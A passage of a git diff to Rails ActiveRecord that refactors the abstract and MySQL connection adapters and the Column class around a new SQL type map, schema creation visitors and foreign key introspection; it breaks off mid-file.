+ current_transaction.savepoint_name
end
# Check the connection back in to the connection pool
@@ -294,26 +370,117 @@ module ActiveRecord
pool.checkin self
end
+ def type_map # :nodoc:
+ @type_map ||= Type::TypeMap.new.tap do |mapping|
+ initialize_type_map(mapping)
+ end
+ end
+
+ def new_column(name, default, cast_type, sql_type = nil, null = true)
+ Column.new(name, default, cast_type, sql_type, null)
+ end
+
+ def lookup_cast_type(sql_type) # :nodoc:
+ type_map.lookup(sql_type)
+ end
+
+ def column_name_for_operation(operation, node) # :nodoc:
+ node.to_sql
+ end
+
protected
- def log(sql, name = "SQL", binds = [])
- @instrumenter.instrument(
- "sql.active_record",
- :sql => sql,
- :name => name,
- :connection_id => object_id,
- :binds => binds) { yield }
- rescue => e
+ def initialize_type_map(m) # :nodoc:
+ register_class_with_limit m, %r(boolean)i, Type::Boolean
+ register_class_with_limit m, %r(char)i, Type::String
+ register_class_with_limit m, %r(binary)i, Type::Binary
+ register_class_with_limit m, %r(text)i, Type::Text
+ register_class_with_limit m, %r(date)i, Type::Date
+ register_class_with_limit m, %r(time)i, Type::Time
+ register_class_with_limit m, %r(datetime)i, Type::DateTime
+ register_class_with_limit m, %r(float)i, Type::Float
+ register_class_with_limit m, %r(int)i, Type::Integer
+
+ m.alias_type %r(blob)i, 'binary'
+ m.alias_type %r(clob)i, 'text'
+ m.alias_type %r(timestamp)i, 'datetime'
+ m.alias_type %r(numeric)i, 'decimal'
+ m.alias_type %r(number)i, 'decimal'
+ m.alias_type %r(double)i, 'float'
+
+ m.register_type(%r(decimal)i) do |sql_type|
+ scale = extract_scale(sql_type)
+ precision = extract_precision(sql_type)
+
+ if scale == 0
+ # FIXME: Remove this class as well
+ Type::DecimalWithoutScale.new(precision: precision)
+ else
+ Type::Decimal.new(precision: precision, scale: scale)
+ end
+ end
+ end
+
+ def reload_type_map # :nodoc:
+ type_map.clear
+ initialize_type_map(type_map)
+ end
+
+ def register_class_with_limit(mapping, key, klass) # :nodoc:
+ mapping.register_type(key) do |*args|
+ limit = extract_limit(args.last)
+ klass.new(limit: limit)
+ end
+ end
+
+ def extract_scale(sql_type) # :nodoc:
+ case sql_type
+ when /\((\d+)\)/ then 0
+ when /\((\d+)(,(\d+))\)/ then $3.to_i
+ end
+ end
+
+ def extract_precision(sql_type) # :nodoc:
+ $1.to_i if sql_type =~ /\((\d+)(,\d+)?\)/
+ end
+
+ def extract_limit(sql_type) # :nodoc:
+ $1.to_i if sql_type =~ /\((.*)\)/
+ end
+
+ def translate_exception_class(e, sql)
message = "#{e.class.name}: #{e.message}: #{sql}"
@logger.error message if @logger
exception = translate_exception(e, message)
exception.set_backtrace e.backtrace
- raise exception
+ exception
+ end
+
+ def log(sql, name = "SQL", binds = [], statement_name = nil)
+ @instrumenter.instrument(
+ "sql.active_record",
+ :sql => sql,
+ :name => name,
+ :connection_id => object_id,
+ :statement_name => statement_name,
+ :binds => binds) { yield }
+ rescue => e
+ raise translate_exception_class(e, sql)
end
def translate_exception(exception, message)
# override in derived class
- ActiveRecord::StatementInvalid.new(message)
+ ActiveRecord::StatementInvalid.new(message, exception)
+ end
+
+ def without_prepared_statement?(binds)
+ !prepared_statements || binds.empty?
+ end
+
+ def column_for(table_name, column_name) # :nodoc:
+ column_name = column_name.to_s
+ columns(table_name).detect { |c| c.name == column_name } ||
+ raise(ActiveRecordError, "No such column: #{table_name}.#{column_name}")
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index d37e489f5c..a741314ac6 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -1,84 +1,104 @@
require 'arel/visitors/bind_visitor'
+require 'active_support/core_ext/string/strip'
module ActiveRecord
module ConnectionAdapters
class AbstractMysqlAdapter < AbstractAdapter
+ include Savepoints
+
+ class SchemaCreation < AbstractAdapter::SchemaCreation
+ def visit_AddColumn(o)
+ add_column_position!(super, column_options(o))
+ end
+
+ private
+
+ def visit_DropForeignKey(name)
+ "DROP FOREIGN KEY #{name}"
+ end
+
+ def visit_TableDefinition(o)
+ name = o.name
+ create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(name)} "
+
+ statements = o.columns.map { |c| accept c }
+ statements.concat(o.indexes.map { |column_name, options| index_in_create(name, column_name, options) })
+
+ create_sql << "(#{statements.join(', ')}) " if statements.present?
+ create_sql << "#{o.options}"
+ create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+ create_sql
+ end
+
+ def visit_ChangeColumnDefinition(o)
+ column = o.column
+ options = o.options
+ sql_type = type_to_sql(o.type, options[:limit], options[:precision], options[:scale])
+ change_column_sql = "CHANGE #{quote_column_name(column.name)} #{quote_column_name(options[:name])} #{sql_type}"
+ add_column_options!(change_column_sql, options.merge(column: column))
+ add_column_position!(change_column_sql, options)
+ end
+
+ def add_column_position!(sql, options)
+ if options[:first]
+ sql << " FIRST"
+ elsif options[:after]
+ sql << " AFTER #{quote_column_name(options[:after])}"
+ end
+ sql
+ end
+
+ def index_in_create(table_name, column_name, options)
+ index_name, index_type, index_columns, index_options, index_algorithm, index_using = @conn.add_index_options(table_name, column_name, options)
+ "#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_options} #{index_algorithm}"
+ end
+ end
+
+ def schema_creation
+ SchemaCreation.new self
+ end
+
class Column < ConnectionAdapters::Column # :nodoc:
- attr_reader :collation, :strict
+ attr_reader :collation, :strict, :extra
- def initialize(name, default, sql_type = nil, null = true, collation = nil, strict = false)
+ def initialize(name, default, cast_type, sql_type = nil, null = true, collation = nil, strict = false, extra = "")
@strict = strict
@collation = collation
-
- super(name, default, sql_type, null)
+ @extra = extra
+ super(name, default, cast_type, sql_type, null)
+ assert_valid_default(default)
+ extract_default
end
- def extract_default(default)
- if sql_type =~ /blob/i || type == :text
- if default.blank?
- null || strict ? nil : ''
- else
- raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
- end
- elsif missing_default_forged_as_empty_string?(default)
- nil
- else
- super
+ def extract_default
+ if blob_or_text_column?
+ @default = null || strict ? nil : ''
+ elsif missing_default_forged_as_empty_string?(@default)
+ @default = nil
end
end
def has_default?
- return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
+ return false if blob_or_text_column? # MySQL forbids defaults on blob and text columns
super
end
- # Must return the relevant concrete adapter
- def adapter
- raise NotImplementedError
+ def blob_or_text_column?
+ sql_type =~ /blob/i || type == :text
end
def case_sensitive?
collation && !collation.match(/_ci$/)
end
- private
-
- def simplified_type(field_type)
- return :boolean if adapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
-
- case field_type
- when /enum/i, /set/i then :string
- when /year/i then :integer
- when /bit/i then :binary
- else
- super
- end
+ def ==(other)
+ super &&
+ collation == other.collation &&
+ strict == other.strict &&
+ extra == other.extra
end
- def extract_limit(sql_type)
- case sql_type
- when /blob|text/i
- case sql_type
- when /tiny/i
- 255
- when /medium/i
- 16777215
- when /long/i
- 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
- else
- super # we could return 65535 here, but we leave it undecorated by default
- end
- when /^bigint/i; 8
- when /^int/i; 4
- when /^mediumint/i; 3
- when /^smallint/i; 2
- when /^tinyint/i; 1
- when /^enum\((.+)\)/i
- $1.split(',').map{|enum| enum.strip.length - 2}.max
- else
- super
- end
- end
+ private
# MySQL misreports NOT NULL column default when none is given.
# We can't detect this for columns which may have a legitimate ''
@@ -90,6 +110,16 @@ module ActiveRecord
def missing_default_forged_as_empty_string?(default)
type != :string && !null && default == ''
end
+
+ def assert_valid_default(default)
+ if blob_or_text_column? && default.present?
+ raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
+ end
+ end
+
+ def attributes_for_hash
+ super + [collation, strict, extra]
+ end
end
##
@@ -112,23 +142,21 @@ module ActiveRecord
QUOTED_TRUE, QUOTED_FALSE = '1', '0'
NATIVE_DATABASE_TYPES = {
- :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+ :primary_key => "int(11) auto_increment PRIMARY KEY",
:string => { :name => "varchar", :limit => 255 },
:text => { :name => "text" },
:integer => { :name => "int", :limit => 4 },
:float => { :name => "float" },
:decimal => { :name => "decimal" },
:datetime => { :name => "datetime" },
- :timestamp => { :name => "datetime" },
:time => { :name => "time" },
:date => { :name => "date" },
:binary => { :name => "blob" },
:boolean => { :name => "tinyint", :limit => 1 }
}
- class BindSubstitution < Arel::Visitors::MySQL # :nodoc:
- include Arel::Visitors::BindVisitor
- end
+ INDEX_TYPES = [:fulltext, :spatial]
+ INDEX_USINGS = [:btree, :hash]
# FIXME: Make the first parameter more similar for the two adapters
def initialize(connection, logger, connection_options, config)
@@ -136,17 +164,15 @@ module ActiveRecord
@connection_options, @config = connection_options, config
@quoted_column_names, @quoted_table_names = {}, {}
- if config.fetch(:prepared_statements) { true }
- @visitor = Arel::Visitors::MySQL.new self
+ @visitor = Arel::Visitors::MySQL.new self
+
+ if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+ @prepared_statements = true
else
- @visitor = BindSubstitution.new self
+ @prepared_statements = false
end
end
- def adapter_name #:nodoc:
- self.class::ADAPTER_NAME
- end
-
# Returns true, since this connection adapter supports migrations.
def supports_migrations?
true
@@ -156,11 +182,6 @@ module ActiveRecord
true
end
- # Returns true, since this connection adapter supports savepoints.
- def supports_savepoints?
- true
- end
-
def supports_bulk_alter? #:nodoc:
true
end
@@ -179,10 +200,26 @@ module ActiveRecord
version[0] >= 5
end
+ def supports_indexes_in_create?
+ true
+ end
+
+ def supports_foreign_keys?
+ true
+ end
+
+ def supports_views?
+ version[0] >= 5
+ end
+
def native_database_types
NATIVE_DATABASE_TYPES
end
+ def index_algorithms
+ { default: 'ALGORITHM = DEFAULT', copy: 'ALGORITHM = COPY', inplace: 'ALGORITHM = INPLACE' }
+ end
+
# HELPER METHODS ===========================================
# The two drivers have slightly different ways of yielding hashes of results, so
@@ -191,12 +228,11 @@ module ActiveRecord
raise NotImplementedError
end
- # Overridden by the adapters to instantiate their specific Column type.
- def new_column(field, default, type, null, collation) # :nodoc:
- Column.new(field, default, type, null, collation)
+ def new_column(field, default, cast_type, sql_type = nil, null = true, collation = "", extra = "") # :nodoc:
+ Column.new(field, default, cast_type, sql_type, null, collation, strict_mode?, extra)
end
- # Must return the Mysql error number from the exception, if the exception has an
+ # Must return the MySQL error number from the exception, if the exception has an
# error number.
def error_number(exception) # :nodoc:
raise NotImplementedError
@@ -204,12 +240,9 @@ module ActiveRecord
# QUOTING ==================================================
- def quote(value, column = nil)
- if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
- s = column.class.string_to_binary(value).unpack("H*")[0]
- "x'#{s}'"
- elsif value.kind_of?(BigDecimal)
- value.to_s("F")
+ def _quote(value) # :nodoc:
+ if value.is_a?(Type::Binary::Data)
+ "x'#{value.hex}'"
else
super
end
@@ -227,13 +260,21 @@ module ActiveRecord
QUOTED_TRUE
end
+ def unquoted_true
+ 1
+ end
+
def quoted_false
QUOTED_FALSE
end
+ def unquoted_false
+ 0
+ end
+
# REFERENTIAL INTEGRITY ====================================
- def disable_referential_integrity(&block) #:nodoc:
+ def disable_referential_integrity #:nodoc:
old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
begin
@@ -244,21 +285,18 @@ module ActiveRecord
end
end
+ #--
# DATABASE STATEMENTS ======================================
+ #++
+
+ def clear_cache!
+ super
+ reload_type_map
+ end
# Executes the SQL statement in the context of this connection.
def execute(sql, name = nil)
- if name == :skip_logging
- @connection.query(sql)
- else
- log(sql, name) { @connection.query(sql) }
- end
- rescue ActiveRecord::StatementInvalid => exception
- if exception.message.split(":").first =~ /Packets out of order/
- raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
- else
- raise
- end
+ log(sql, name) { @connection.query(sql) }
end
# MysqlAdapter has to free a result after using it, so we use this method to write
@@ -275,39 +313,19 @@ module ActiveRecord
def begin_db_transaction
execute "BEGIN"
- rescue
- # Transactions aren't supported
end
def begin_isolated_db_transaction(isolation)
execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
begin_db_transaction
- rescue
- # Transactions aren't supported
end
def commit_db_transaction #:nodoc:
execute "COMMIT"
- rescue
- # Transactions aren't supported
end
def rollback_db_transaction #:nodoc:
execute "ROLLBACK"
- rescue
- # Transactions aren't supported
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
end
# In the simple case, MySQL allows us to place JOINs directly into the UPDATE
@@ -328,25 +346,13 @@ module ActiveRecord
# SCHEMA STATEMENTS ========================================
- def structure_dump #:nodoc:
- if supports_views?
- sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
- else
- sql = "SHOW TABLES"
- end
-
- select_all(sql, 'SCHEMA').map { |table|
- table.delete('Table_type')
- sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}"
- exec_query(sql, 'SCHEMA').first['Create Table'] + ";\n\n"
- }.join
- end
-
# Drops the database specified on the +name+ attribute
# and creates it again using the provided +options+.
def recreate_database(name, options = {})
drop_database(name)
- create_database(name, options)
+ sql = create_database(name, options)
+ reconnect!
+ sql
end
# Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
@@ -392,12 +398,16 @@ module ActiveRecord
sql << "LIKE #{quote(like)}" if like
execute_and_free(sql, 'SCHEMA') do |result|
- result.collect { |field| field.first }
+ result.collect(&:first)
end
end
+ def truncate(table_name, name = nil)
+ execute "TRUNCATE TABLE #{quote_table_name(table_name)}", name
+ end
+
def table_exists?(name)
- return false unless name
+ return false unless name.present?
return true if tables(nil, nil, name).any?
name = name.to_s
@@ -420,7 +430,11 @@ module ActiveRecord
if current_index != row[:Key_name]
next if row[:Key_name] == 'PRIMARY' # skip the primary key
current_index = row[:Key_name]
- indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], [])
+
+ mysql_index_type = row[:Index_type].downcase.to_sym
+ index_type = INDEX_TYPES.include?(mysql_index_type) ? mysql_index_type : nil
+ index_using = INDEX_USINGS.include?(mysql_index_type) ? mysql_index_type : nil
+ indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], [], nil, nil, index_type, index_using)
end
indexes.last.columns << row[:Column_name]
@@ -436,7 +450,10 @@ module ActiveRecord
sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}"
execute_and_free(sql, 'SCHEMA') do |result|
each_hash(result).map do |field|
- new_column(field[:Field], field[:Default], field[:Type], field[:Null] == "YES", field[:Collation])
+ field_name = set_field_encoding(field[:Field])
+ sql_type = field[:Type]
+ cast_type = lookup_cast_type(sql_type)
+ new_column(field_name, field[:Default], cast_type, sql_type, field[:Null] == "YES", field[:Collation], field[:Extra])
end
end
end
@@ -446,7 +463,7 @@ module ActiveRecord
end
def bulk_change_table(table_name, operations) #:nodoc:
- sqls = operations.map do |command, args|
+ sqls = operations.flat_map do |command, args|
table, arguments = args.shift, args
method = :"#{command}_sql"
@@ -455,7 +472,7 @@ module ActiveRecord
else
raise "Unknown method called : #{method}(#{arguments.inspect})"
end
- end.flatten.join(", ")
+ end.join(", ")
execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
end
@@ -466,13 +483,22 @@ module ActiveRecord
# rename_table('octopuses', 'octopi')
def rename_table(table_name, new_name)
execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
+ rename_table_indexes(table_name, new_name)
end
- def add_column(table_name, column_name, type, options = {})
- execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}")
+ def drop_table(table_name, options = {})
+ execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE #{quote_table_name(table_name)}"
end
- def change_column_default(table_name, column_name, default)
+ def rename_index(table_name, old_name, new_name)
+ if supports_rename_index?
+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+ else
+ super
+ end
+ end
+
+ def change_column_default(table_name, column_name, default) #:nodoc:
column = column_for(table_name, column_name)
change_column table_name, column_name, column.sql_type, :default => default
end
@@ -493,6 +519,40 @@ module ActiveRecord
def rename_column(table_name, column_name, new_column_name) #:nodoc:
execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
+ rename_column_indexes(table_name, column_name, new_column_name)
+ end
+
+ def add_index(table_name, column_name, options = {}) #:nodoc:
+ index_name, index_type, index_columns, index_options, index_algorithm, index_using = add_index_options(table_name, column_name, options)
+ execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options} #{index_algorithm}"
+ end
+
+ def foreign_keys(table_name)
+ fk_info = select_all <<-SQL.strip_heredoc
+ SELECT fk.referenced_table_name as 'to_table'
+ ,fk.referenced_column_name as 'primary_key'
+ ,fk.column_name as 'column'
+ ,fk.constraint_name as 'name'
+ FROM information_schema.key_column_usage fk
+ WHERE fk.referenced_column_name is not null
+ AND fk.table_schema = '#{@config[:database]}'
+ AND fk.table_name = '#{table_name}'
+ SQL
+
+ create_table_info = select_one("SHOW CREATE TABLE #{quote_table_name(table_name)}")["Create Table"]
+
+ fk_info.map do |row|
+ options = {
+ column: row['column'],
+ name: row['name'],
+ primary_key: row['primary_key']
+ }
+
+ options[:on_update] = extract_foreign_key_action(create_table_info, row['name'], "UPDATE")
+ options[:on_delete] = extract_foreign_key_action(create_table_info, row['name'], "DELETE")
+
+ ForeignKeyDefinition.new(table_name, row['to_table'], options)
+ end
end
# Maps logical Rails types to MySQL-specific data types.
@@ -527,14 +587,6 @@ module ActiveRecord
end
end
- def add_column_position!(sql, options)
- if options[:first]
- sql << " FIRST"
- elsif options[:after]
- sql << " AFTER #{quote_column_name(options[:after])}"
- end
- end
-
# SHOW VARIABLES LIKE 'name'
def show_variable(name)
variables = select_all("SHOW VARIABLES LIKE '#{name}'", 'SCHEMA')
@@ -560,10 +612,19 @@ module ActiveRecord
pk_and_sequence && pk_and_sequence.first
end
- def case_sensitive_modifier(node)
+ def case_sensitive_modifier(node, table_attribute)
+ node = Arel::Nodes.build_quoted node, table_attribute
Arel::Nodes::Bin.new(node)
end
+ def case_sensitive_comparison(table, attribute, column, value)
+ if column.case_sensitive?
+ table[attribute].eq(value)
+ else
+ super
+ end
+ end
+
def case_insensitive_comparison(table, attribute, column, value)
if column.case_sensitive?
super
@@ -572,16 +633,49 @@ module ActiveRecord
end
end
- def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
- where_sql
+ def strict_mode?
+ self.class.type_cast_config_to_boolean(@config.fetch(:strict, true))
end
- def strict_mode?
- @config.fetch(:strict, true)
+ def valid_type?(type)
+ !native_database_types[type].nil?
end
protected
+ def initialize_type_map(m) # :nodoc:
+ super
+
+ register_class_with_limit m, %r(char)i, MysqlString
+
+ m.register_type %r(tinytext)i, Type::Text.new(limit: 2**8 - 1)
+ m.register_type %r(tinyblob)i, Type::Binary.new(limit: 2**8 - 1)
+ m.register_type %r(text)i, Type::Text.new(limit: 2**16 - 1)
+ m.register_type %r(blob)i, Type::Binary.new(limit: 2**16 - 1)
+ m.register_type %r(mediumtext)i, Type::Text.new(limit: 2**24 - 1)
+ m.register_type %r(mediumblob)i, Type::Binary.new(limit: 2**24 - 1)
+ m.register_type %r(longtext)i, Type::Text.new(limit: 2**32 - 1)
+ m.register_type %r(longblob)i, Type::Binary.new(limit: 2**32 - 1)
+ m.register_type %r(^bigint)i, Type::Integer.new(limit: 8)
+ m.register_type %r(^int)i, Type::Integer.new(limit: 4)
+ m.register_type %r(^mediumint)i, Type::Integer.new(limit: 3)
+ m.register_type %r(^smallint)i, Type::Integer.new(limit: 2)
+ m.register_type %r(^tinyint)i, Type::Integer.new(limit: 1)
+ m.register_type %r(^float)i, Type::Float.new(limit: 24)
+ m.register_type %r(^double)i, Type::Float.new(limit: 53)
+
+ m.alias_type %r(tinyint\(1\))i, 'boolean' if emulate_booleans
+ m.alias_type %r(set)i, 'varchar'
+ m.alias_type %r(year)i, 'integer'
+ m.alias_type %r(bit)i, 'binary'
+
+ m.register_type(%r(enum)i) do |sql_type|
+ limit = sql_type[/^enum\((.+)\)/i, 1]
+ .split(',').map{|enum| enum.strip.length - 2}.max
+ MysqlString.new(limit: limit)
+ end
+ end
+
# MySQL is too stupid to create a temporary table for use subquery, so we have
# to give it some prompting in the form of a subsubquery. Ugh!
def subquery_for(key, select)
@@ -630,10 +724,9 @@ module ActiveRecord
end
def add_column_sql(table_name, column_name, type, options = {})
- add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(add_column_sql, options)
- add_column_position!(add_column_sql, options)
- add_column_sql
+ td = create_table_definition table_name, options[:temporary], options[:options]
+ cd = td.new_column_definition(column_name, type, options)
+ schema_creation.visit_AddColumn cd
end
def change_column_sql(table_name, column_name, type, options = {})
@@ -647,32 +740,30 @@ module ActiveRecord
options[:null] = column.null
end
- change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(change_column_sql, options)
- add_column_position!(change_column_sql, options)
- change_column_sql
+ options[:name] = column.name
+ schema_creation.accept ChangeColumnDefinition.new column, type, options
end
def rename_column_sql(table_name, column_name, new_column_name)
- options = {}
-
- if column = columns(table_name).find { |c| c.name == column_name.to_s }
- options[:default] = column.default
- options[:null] = column.null
- else
- raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
- end
+ column = column_for(table_name, column_name)
+ options = {
+ name: new_column_name,
+ default: column.default,
+ null: column.null,
+ auto_increment: column.extra == "auto_increment"
+ }
current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", 'SCHEMA')["Type"]
- rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
- add_column_options!(rename_column_sql, options)
- rename_column_sql
+ schema_creation.accept ChangeColumnDefinition.new column, current_type, options
+ end
+
+ def remove_column_sql(table_name, column_name, type = nil, options = {})
+ "DROP #{quote_column_name(column_name)}"
end
- def remove_column_sql(table_name, *column_names)
- columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" }
+ def remove_columns_sql(table_name, *column_names)
+ column_names.map {|column_name| remove_column_sql(table_name, column_name) }
end
- alias :remove_columns_sql :remove_column
def add_index_sql(table_name, column_name, options = {})
index_name, index_type, index_columns = add_index_options(table_name, column_name, options)
@@ -684,65 +775,98 @@ module ActiveRecord
"DROP INDEX #{index_name}"
end
- def add_timestamps_sql(table_name)
- [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)]
+ def add_timestamps_sql(table_name, options = {})
+ [add_column_sql(table_name, :created_at, :datetime, options), add_column_sql(table_name, :updated_at, :datetime, options)]
end
- def remove_timestamps_sql(table_name)
+ def remove_timestamps_sql(table_name, options = {})
[remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
end
private
- def supports_views?
- version[0] >= 5
+ def version
+ @version ||= full_version.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map(&:to_i)
end
- def column_for(table_name, column_name)
- unless column = columns(table_name).find { |c| c.name == column_name.to_s }
- raise "No such column: #{table_name}.#{column_name}"
- end
- column
+ def mariadb?
+ full_version =~ /mariadb/i
+ end
+
+ def supports_rename_index?
+ mariadb? ? false : (version[0] == 5 && version[1] >= 7) || version[0] >= 6
end
def configure_connection
- variables = @config[:variables] || {}
+ variables = @config.fetch(:variables, {}).stringify_keys
# By default, MySQL 'where id is null' selects the last inserted id.
# Turn this off. http://dev.rubyonrails.org/ticket/6778
- variables[:sql_auto_is_null] = 0
+ variables['sql_auto_is_null'] = 0
# Increase timeout so the server doesn't disconnect us.
wait_timeout = @config[:wait_timeout]
wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum)
- variables[:wait_timeout] = wait_timeout
+ variables['wait_timeout'] = self.class.type_cast_config_to_integer(wait_timeout)
# Make MySQL reject illegal values rather than truncating or blanking them, see
# http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_strict_all_tables
# If the user has provided another value for sql_mode, don't replace it.
- if strict_mode? && !variables.has_key?(:sql_mode)
- variables[:sql_mode] = 'STRICT_ALL_TABLES'
+ unless variables.has_key?('sql_mode')
+ variables['sql_mode'] = strict_mode? ? 'STRICT_ALL_TABLES' : ''
end
# NAMES does not have an equals sign, see
# http://dev.mysql.com/doc/refman/5.0/en/set-statement.html#id944430
# (trailing comma because variable_assignments will always have content)
- encoding = "NAMES #{@config[:encoding]}, " if @config[:encoding]
+ if @config[:encoding]
+ encoding = "NAMES #{@config[:encoding]}"
+ encoding << " COLLATE #{@config[:collation]}" if @config[:collation]
+ encoding << ", "
+ end
# Gather up all of the SET variables...
variable_assignments = variables.map do |k, v|
if v == ':default' || v == :default
- "@@SESSION.#{k.to_s} = DEFAULT" # Sets the value to the global or compile default
+ "@@SESSION.#{k} = DEFAULT" # Sets the value to the global or compile default
elsif !v.nil?
- "@@SESSION.#{k.to_s} = #{quote(v)}"
+ "@@SESSION.#{k} = #{quote(v)}"
end
# or else nil; compact to clear nils out
end.compact.join(', ')
# ...and send them all in one query
- execute("SET #{encoding} #{variable_assignments}", :skip_logging)
+ @connection.query "SET #{encoding} #{variable_assignments}"
+ end
+
+ def extract_foreign_key_action(structure, name, action) # :nodoc:
+ if structure =~ /CONSTRAINT #{quote_column_name(name)} FOREIGN KEY .* REFERENCES .* ON #{action} (CASCADE|SET NULL|RESTRICT)/
+ case $1
+ when 'CASCADE'; :cascade
+ when 'SET NULL'; :nullify
+ end
+ end
end
+ class MysqlString < Type::String # :nodoc:
+ def type_cast_for_database(value)
+ case value
+ when true then "1"
+ when false then "0"
+ else super
+ end
+ end
+
+ private
+
+ def cast_value(value)
+ case value
+ when true then "1"
+ when false then "0"
+ else super
+ end
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index 80984f39c9..dd303c73d5 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -13,123 +13,36 @@ module ActiveRecord
ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
end
- attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
- attr_accessor :primary, :coder
+ attr_reader :name, :cast_type, :null, :sql_type, :default, :default_function
- alias :encoded? :coder
+ delegate :type, :precision, :scale, :limit, :klass, :accessor,
+ :number?, :binary?, :changed?,
+ :type_cast_from_user, :type_cast_from_database, :type_cast_for_database,
+ :type_cast_for_schema,
+ to: :cast_type
# Instantiates a new column in the table.
#
# +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int(11)</tt>.
# +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
+ # +cast_type+ is the object used for type casting and type information.
# +sql_type+ is used to extract the column's length, if necessary. For example +60+ in
# <tt>company_name varchar(60)</tt>.
# It will be mapped to one of the standard Rails SQL types in the <tt>type</tt> attribute.
# +null+ determines if this column allows +NULL+ values.
- def initialize(name, default, sql_type = nil, null = true)
- @name = name
- @sql_type = sql_type
- @null = null
- @limit = extract_limit(sql_type)
- @precision = extract_precision(sql_type)
- @scale = extract_scale(sql_type)
- @type = simplified_type(sql_type)
- @default = extract_default(default)
- @primary = nil
- @coder = nil
- end
-
- # Returns +true+ if the column is either of type string or text.
- def text?
- type == :string || type == :text
- end
-
- # Returns +true+ if the column is either of type integer, float or decimal.
- def number?
- type == :integer || type == :float || type == :decimal
+ def initialize(name, default, cast_type, sql_type = nil, null = true)
+ @name = name
+ @cast_type = cast_type
+ @sql_type = sql_type
+ @null = null
+ @default = default
+ @default_function = nil
end
def has_default?
!default.nil?
end
- # Returns the Ruby class that corresponds to the abstract data type.
- def klass
- case type
- when :integer then Fixnum
- when :float then Float
- when :decimal then BigDecimal
- when :datetime, :timestamp, :time then Time
- when :date then Date
- when :text, :string, :binary then String
- when :boolean then Object
- end
- end
-
- def binary?
- type == :binary
- end
-
- # Casts a Ruby value to something appropriate for writing to the database.
- def type_cast_for_write(value)
- return value unless number?
-
- if value == false
- 0
- elsif value == true
- 1
- elsif value.is_a?(String) && value.blank?
- nil
- else
- value
- end
- end
-
- # Casts value (which is a String) to an appropriate instance.
- def type_cast(value)
- return nil if value.nil?
- return coder.load(value) if encoded?
-
- klass = self.class
-
- case type
- when :string, :text then value
- when :integer then klass.value_to_integer(value)
- when :float then value.to_f
- when :decimal then klass.value_to_decimal(value)
- when :datetime, :timestamp then klass.string_to_time(value)
- when :time then klass.string_to_dummy_time(value)
- when :date then klass.value_to_date(value)
- when :binary then klass.binary_to_string(value)
- when :boolean then klass.value_to_boolean(value)
- else value
- end
- end
-
- def type_cast_code(var_name)
